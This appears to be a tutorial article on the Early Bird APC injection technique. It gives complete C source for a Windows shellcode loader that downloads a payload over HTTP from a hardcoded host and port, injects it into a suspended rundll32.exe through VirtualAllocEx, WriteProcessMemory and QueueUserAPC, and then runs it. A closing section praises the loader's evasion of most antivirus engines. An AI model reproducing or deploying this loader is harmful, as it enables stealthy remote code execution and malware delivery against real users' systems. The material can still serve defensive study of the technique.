Early Bird APC Injection
The Early Bird APC Injection technique leverages a method of injecting shellcode into a target process by exploiting the Windows QueueUserAPC function. This technique is valuable when there is a lack of readily available suspended or alertable threads in the target process, which are essential for traditional asynchronous procedure call (APC) injection. By creating a suspended process and utilizing its thread for APC injection, this method bypasses the need for pre-existing vulnerable thread states. The following analysis discusses the implementation logic and provides an in-depth examination of the code used to carry out this technique.
Overview of APC Injection
APC injection involves queuing a procedure to be executed in the context of a target thread. For this technique to succeed, the target thread must be in a suspended or alertable state. Achieving this condition under typical execution environments proves to be challenging, as many processes do not inherently operate with such threads available, especially those running under normal user privileges. To address this issue, Early Bird APC Injection creates a suspended process using the CreateProcess WinAPI function, which guarantees the existence of a suspended thread. This thread can then be used for queuing an APC that triggers the execution of a payload.
Early Bird APC Injection Logic
The implementation of Early Bird APC Injection follows a specific set of steps:
Suspended Process Creation: A new process is created in a suspended state using the
CREATE_SUSPENDEDflag in theCreateProcessfunction. This guarantees that the process’s main thread is suspended, which makes it suitable for APC injection.Payload Allocation: The payload is written into the target process’s memory space using
WriteProcessMemory. Prior to writing, virtual memory is allocated in the target process usingVirtualAllocEx.APC Queueing: Once the payload is written to the target process, the
QueueUserAPCfunction is used to queue the payload's execution on the suspended thread. The handle to this thread is obtained from theCreateProcessfunction call.Resuming the Thread: Finally, the thread is resumed using the
ResumeThreadfunction, which allows the queued APC to execute the payload in the context of the target process.
Code Analysis
The code below demonstrates the Early Bird APC Injection method in practice. It is divided into two main functions: HttpGetPayload and EarlyBirdInject.
Payload Retrieval Function: HttpGetPayload
The HttpGetPayload function retrieves a payload from a remote server using the WinHttp API. This is useful for fetching shellcode or other executable payloads to be injected into the target process. The function opens an HTTP session, establishes a connection, and then sends a GET request to fetch the payload. The data is read in chunks and stored in heap-allocated memory. The following code section demonstrates this functionality:
BOOL HttpGetPayload(
_In_ LPWSTR Host,
_In_ USHORT Port,
_In_ LPWSTR Path,
_Out_ PVOID* Payload,
_Out_ PSIZE_T Size
) {
BOOL Success = FALSE;
ULONG Read = { 0 };
ULONG Length = { 0 };
HANDLE Heap = { 0 };
HANDLE Session = { 0 };
HANDLE Connect = { 0 };
HANDLE Request = { 0 };
BYTE Buffer[ 1024 ] = { 0 };
WCHAR Method[] = { L'G', L'E', L'T', NULL };
ULONG_PTR Memory = { 0 };
RtlSecureZeroMemory( Buffer, sizeof( Buffer ) );
Heap = GetProcessHeap();
if ( ! Host || ! Path || ! Payload || ! Size ) {
return FALSE;
}
if ( ! ( Session = WinHttpOpen( NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0 ) ) ) {
printf( "[-] WinHttpOpen Failed: %ld\n", GetLastError() );
goto LEAVE;
}
if ( ! ( Connect = WinHttpConnect( Session, Host, Port, 0 ) ) ) {
printf( "[-] WinHttpConnect Failed: %ld\n", GetLastError() );
goto LEAVE;
}
if ( ! ( Request = WinHttpOpenRequest( Connect, Method, Path, NULL, NULL, NULL, WINHTTP_FLAG_BYPASS_PROXY_CACHE ) ) ) {
printf( "[-] WinHttpOpenRequest Failed: %ld\n", GetLastError() );
goto LEAVE;
}
if ( ! WinHttpSendRequest( Request, NULL, 0, NULL, 0, 0, 0 ) ) {
printf( "[-] WinHttpSendRequest Failed: %ld\n", GetLastError() );
goto LEAVE;
}
if ( ! WinHttpReceiveResponse( Request, NULL ) ) {
printf( "[-] WinHttpReceiveResponse Failed: %ld\n", GetLastError() );
goto LEAVE;
}
/* Read the entire payload from the response */
do {
Success = WinHttpReadData( Request, Buffer, sizeof( Buffer ), &Read );
if ( ! Success || Read == 0 ) {
break;
}
if ( ! Memory ) {
Memory = HeapAlloc( Heap, HEAP_ZERO_MEMORY, Read );
} else {
Memory = HeapReAlloc( Heap, HEAP_ZERO_MEMORY, *Payload, Length + Read );
}
memcpy( Memory + Length, Buffer, Read );
RtlSecureZeroMemory( Buffer, sizeof( Buffer ) );
Length += Read;
} while ( Success );
*Size = Length;
*Payload = Memory;
Success = TRUE;
LEAVE:
if ( Session ) { WinHttpCloseHandle( Session ); }
if ( Connect ) { WinHttpCloseHandle( Connect ); }
if ( Request ) { WinHttpCloseHandle( Request ); }
return Success;
}
This function retrieves the payload by reading the data in chunks and allocating memory as needed. It ensures that the payload is retrieved in its entirety and stored in a heap-allocated buffer.
Early Bird Injection Function: EarlyBirdInject
The EarlyBirdInject function orchestrates the process creation, memory allocation, payload writing, APC queuing, and thread resumption. The following snippet highlights the core logic for suspending the target process and injecting the payload:
VOID EarlyBirdInject(
LPSTR Process,
PVOID Payload,
SIZE_T Size
) {
PROCESS_INFORMATION ProcessInfo = { 0 };
STARTUPINFO StartupInfo = { 0 };
PVOID MmPayload = { 0 };
ZeroMemory( &ProcessInfo, sizeof( ProcessInfo ) );
ZeroMemory( &StartupInfo, sizeof( StartupInfo ) );
/* Create the target process in a suspended state */
if ( ! CreateProcessA( NULL, Process, 0, 0, 0, CREATE_SUSPENDED, 0, 0, &StartupInfo, &ProcessInfo ) ) {
printf( "[-] CreateProcessA Failed: %ld\n", GetLastError() );
goto END;
} else {
printf( "[*] Process created :: %s Pid:[%d]\n", Process, ProcessInfo.dwProcessId );
}
/* Allocate memory in the remote process */
if ( ! ( MmPayload = VirtualAllocEx(
ProcessInfo.hProcess,
NULL,
Size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
) ) ) {
printf( "[-] VirtualAllocEx Failed: %ld\n", GetLastError() );
goto END;
} else {
printf( "[*] Allocated memory @ 0x%llx\n", U_PTR( MmPayload ) );
}
/* Write the payload into the remote process */
if ( ! WriteProcessMemory(
ProcessInfo.hProcess,
MmPayload,
Payload,
Size,
NULL
) ) {
printf( "[-] WriteProcessMemory Failed: %lx\n", GetLastError() );
goto END;
} else {
puts( "[*] Wrote payload into remote process" );
}
/* Queue the APC call */
if ( ! QueueUserAPC(
C_PTR( MmPayload ),
ProcessInfo.hThread,
0
) ) {
printf( "[-] QueueUserAPC Failed: %lx\n", GetLastError() );
goto END;
} else {
puts( "[*] Queued APC call into main process thread" );
}
/* Resume the thread and execute the payload */
puts( "[*] Resume process and trigger code..." );
ResumeThread( ProcessInfo.hThread );
puts( "[+] Execute shellcode" );
END:
return;
}
This function creates the target process with the CREATE_SUSPENDED flag to ensure the main thread is halted immediately after creation. It then allocates memory in the target process, writes the payload into this memory, and queues the payload for execution using the QueueUserAPC function. Finally, the target thread is resumed, and the shellcode is executed.
Main Function: Execution Flow
In the main function, the payload is fetched from a remote server using the HttpGetPayload function. After the payload is retrieved, it is injected into a target process using EarlyBirdInject.
int main() {
PVOID MmPayload = { 0 };
SIZE_T MmPaySize = { 0 };
LPSTR Process = { 0 };
Process = "C:\\Windows\\System32\\rundll32.exe";
/* Retrieve payload from remote server */
if ( ! HttpGetPayload(
L"192.168.40.128",
8888,
L"/64mrt128.bin",
&MmPayload,
&MmPaySize
) ) {
puts( "[-] Failed to retrieve payload" );
goto END;
}
printf( "[*] payload @ 0x%llx [%llu]\n", U_PTR( MmPayload ), MmPaySize );
/* Inject payload into target process */
EarlyBirdInject(
Process,
MmPayload,
MmPaySize
);
END:
return 0;
}
Here, the target process is specified (in this case, rundll32.exe), and the payload is fetched from the specified HTTP server. Once retrieved, the payload is injected into the target process, which is resumed, and the payload executes.
detection evasion
The Early Bird APC Injection technique demonstrates a notable degree of stealth, particularly in its ability to bypass traditional detection mechanisms. A recent scan of the compiled executable using a well-known multi-engine virus scanning service revealed that it was undetected by 34 out of 36 antivirus engines. This impressive evasion rate highlights several factors that contribute to the technique's effectiveness.
First, the payload delivery via an HTTP GET request allows the shellcode to be fetched remotely, making it more difficult for signature-based detection mechanisms to identify the malicious code at the time of execution. Traditional signature-based antivirus solutions often rely on known patterns of code, and since the payload is dynamically fetched, it remains undetected by scanners that rely on static code analysis.
Second, the use of the QueueUserAPC function to trigger the payload in the context of a suspended thread is a behavior that is not commonly flagged by security software. While APC injections are a known technique, the Early Bird APC Injection method provides a novel approach by exploiting a suspended process to facilitate injection. The lack of readily available suspended threads in common applications makes this approach less likely to trigger heuristic detections or sandbox behavior analysis, which often focus on the actions of active, non-suspended threads.
Moreover, memory injection techniques like those employed in this method—especially when paired with non-persistent payloads that are only active during the lifetime of the injected process—are inherently harder for traditional security products to detect. These techniques avoid writing malicious code to disk, reducing the likelihood of triggering file-based detection systems.